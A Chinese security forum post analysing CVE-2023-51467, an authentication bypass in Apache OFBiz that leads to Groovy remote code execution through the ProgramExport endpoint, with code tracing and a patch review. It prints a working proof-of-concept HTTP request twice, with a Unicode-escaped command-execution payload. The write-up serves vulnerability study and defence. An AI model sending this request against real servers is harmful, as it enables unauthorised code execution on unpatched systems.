问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Apache OFBiz groovy 远程代码执行漏洞分析(CVE-2023-51467)
漏洞分析
Apache OFBiz groovy 远程代码执行漏洞分析(CVE-2023-51467)
作者:le1a@threatbook 校验:jweny@threatbook 漏洞分析 ==== 在上一次的漏洞CVE-2023-49070中,修复方式仅仅是删除了XML-RPC模块,但全局的权限登陆校验的Filter仍未修复,导致了依然可以权限绕过去调用其他后台接口。这次漏洞就是与ProgramExport模块相关。 ProgramExport 模块是 OFbiz 中的一个模块,用于将 Groovy 脚本导出为 Java 类。它允许您在 OFbiz 中使用 Groovy 脚本,而无需将它们编译成 Java 字节码。 有趣的是,该后台漏洞在20年就披露了,而当时由于需要鉴权,所以被官方驳回,而修复的方案仅仅是不允许创建jsp文件...... ![企业微信截图_e697c48e-244c-4dde-96d7-13e48043576d.png](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-75a459973677102e97d5cf5e291bbbde284b633b.png) ![企业微信截图_c67fb175-0b79-457a-a18d-c163df7c2526.png](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-bf73407e1dfd306d5ef2744453807c9785ab9990.png) 言归正传,根据上一次漏洞的权限绕过payload可构造如下POC: ```http POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 Host: localhost:8443 Content-Type: application/x-www-form-urlencoded groovyProgram=\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0022\u006F\u0070\u0065\u006E\u0020\u002D\u0061\u0020\u0063\u0061\u006C\u0063\u0075\u006C\u0061\u0074\u006F\u0072\u0022\u0029 ``` 将断点打在ProgramExport.groovy ![image-20231227212745859.png](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-4b729d1693e9a65dca298539b16c01f16cdf9416.png) 入口点在`ControlServlet#doGET()`中,然后调用了`handler.doRequest()`方法。在调用`handler.doRequest()`之前,主要是做请求预处理,包括获取用户会话信息、设置响应头、准备delegator、dispatcher、security等对象,以及打印调试日志等。这些预处理为后续的业务处理提供必要的上下文和资源。 跟进到`handler.doRequest()` ![image-20231227213000932.png](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-20e4cf124af8eab340265f76afff5593ecffe0c6.png) 这里根据`nextRequestResponse.type`的值来选择后续执行逻辑 而nextRequestResponse来自于这里 ```java ConfigXMLReader.RequestResponse successResponse = requestMap.requestResponseMap.get("success"); if ((eventReturn == null || "success".equals(eventReturn)) && successResponse != null && "request".equals(successResponse.type)) { // chains will override any url defined views; but we will save the view for the very end if (UtilValidate.isNotEmpty(overrideViewUri)) { request.setAttribute("_POST_CHAIN_VIEW_", overrideViewUri); } nextRequestResponse = successResponse; } ``` requestMap中的requestResponseMap以及success Response是在解析controller.xml配置文件时读取并设置的。 具体代码在ConfigXMLReader类的parseRequestMap方法中: ```java public void parseRequestMap(Element requestMapElement) { RequestMap requestMap = new RequestMap(); requestMap.securityAuth = "true".equals(requestMapElement.getAttribute("auth")); requestMap.securityCert = "true".equals(requestMapElement.getAttribute("cert")); requestMap.securityExternalView = "true".equals(requestMapElement.getAttribute("external-view")); requestMap.securityDirectRequest = "true".equals(requestMapElement.getAttribute("direct-request")) ; requestMap.securityHttps = "true".equals(requestMapElement.getAttribute("https")); // 解析event、response等子元素 List<? extends Element> childElements = UtilXml.childElementList(requestMapElement); for (Element childElement: childElements) { if ("event".equals(childElement.getTagName())) { // 解析event元素 } else if ("response".equals(childElement.getTagName())) { // 解析response元素 RequestResponse requestResponse = new RequestResponse(); requestResponse.name = childElement.getAttribute("name"); requestResponse.type = childElement.getAttribute("type"); requestResponse.value = childElement.getAttribute("value"); requestMap.requestResponseMap.put(requestResponse.name, requestResponse); } else if ("success".equals(childElement.getTagName())) { // 解析success响应 RequestResponse successResp = new RequestResponse(); successResp.type = childElement.getAttribute("type"); successResp.value = childElement.getAttribute("value"); requestMap.requestResponseMap.put("success", successResp); } } // 添加到ControllerConfig的map中 ccfg.addRequestMap(requestMap); } ``` 可以看到,在解析每个`<request-map>`时,会解析出其success响应,添加到`requestResponseMap`中,供后续使用。 所以requestMap和其中的responses都是在启动初始化时从配置文件解析和设置的。 在controller.xml中也能看到type的值为view ![image-20231227214746879.png](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-fb68812f381479dfccd4d48d437263b657c325b3.png) 继续跟进到`renderView()` ![image-20231227214918328.png](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-6babf2a8a373b950913333c599354ea9af7f07c4.png) 这里主要是获取渲染CONTEXT,并准备好响应头的各种配置,以供后续视图渲染使用。 中间经过几层调用后,来到了关键的`org.apache.ofbizz.widget.model#runSubAction()` ![image-20231227222609957-4254905.png](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-eae508084ad0a1aaeb7fec37fde049bd29be95c7.png) 这里执行了ProgramExport.groovy,而action源于上一层调用 ![image-20231227222937612](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-1048722e6a282db153bbcb00170d0f19259bbd2f.png) 这里的actions元素也是从视图配置的XML文件中获取的。 ![image-20231227223129516](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-6a71ba8eff3bc86beb9c1bb74a81629aa46126f9.png) ![image-20231227223156574](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-1c6e9b56318c557876e16f73f7abd8f9fdd97359.png) 然后继续跟进到`runAction()` ![image-20231227223309371](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-76df98b74e7e16ed410398e60b7aa28d62322a37.png) 继续跟进 ![image-20231227223322564](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-1ee47969b4155fea77e7825f8ed32dc9dd350aa2.png) 继续跟进 ![image-20231227223342357](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-b1a1b4b3e7af204ab91b4b4504edcee7a05420cf.png) 继续跟进 ![image-20231227223430890](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-40f5b6fc72854924ef388e90ee51198b014ecb89.png) 最终执行了Groovy代码 ![image-20231227223743288](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-9a8e672249bbb67b63108fb61a810b3d6f4710c0.png) 补丁分析 ---- 在新的补丁中,更改了最后的login返回逻辑,如果前面都通过了,不再是根据requirePasswordChange的真假来判断,而是直接返回error,也就是前面传入Y,使得requirePasswordChange为True行不通了 ![image-20231228001054149](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-1b55e33296dc05b75fc15d07423ccc2a67494f11.png) 但是仔细观察发现,还有一处`return requirePasswordChange ? "requirePasswordChange" : "error";`没有修改 ![image-20231228001317699](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-879a66704d97274c89891c7430d6fe79daa93a9f.png) 这里使用`isEmpty()`判断是否为空,需要null或者长度为0,所以空字符串正好满足 ![image-20231228001446432](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-1e370b097271e3ce5a89fc2c8b7ea56e008ba474.png) 那是不是username和password为空就能再次bypass呢??? 经过实际测试发现,在上一个版本的确是可以成功,因为上个版本中的`checklogin`方法调用`login`方法的时候使用的并不是`isEmpty()`,而是判断是否为null。所以空字符串正好钻了空子,既不等于null,又满足`isEmpty()` ![image-20231228001819945](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-1781671ea5f52d43be9f2dd812e16149daa20537.png) 而新版补丁改为了`isEmpty()`,与后续`login()`校验一致,导致没办法绕过了。 漏洞复现 ==== 1. 网站首页如下图: ![3b83950f29b76e5eae5696d673694929](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-8fe017c2491a2da097ebd0be5b4dad69f5f7963b.png) 2.使用如下POC进行验证 ```php POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 Host: localhost:8443 Content-Type: application/x-www-form-urlencoded groovyProgram=\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0022\u006F\u0070\u0065\u006E\u0020\u002D\u0061\u0020\u0063\u0061\u006C\u0063\u0075\u006C\u0061\u0074\u006F\u0072\u0022\u0029 ``` ![8c57e87e534059003b792e49b7e90d27](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-82eb8923927f185a0c0a3baab00c08ce65e288ef.png)
发表于 2024-01-15 10:00:02
阅读 ( 26734 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
jweny
16 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!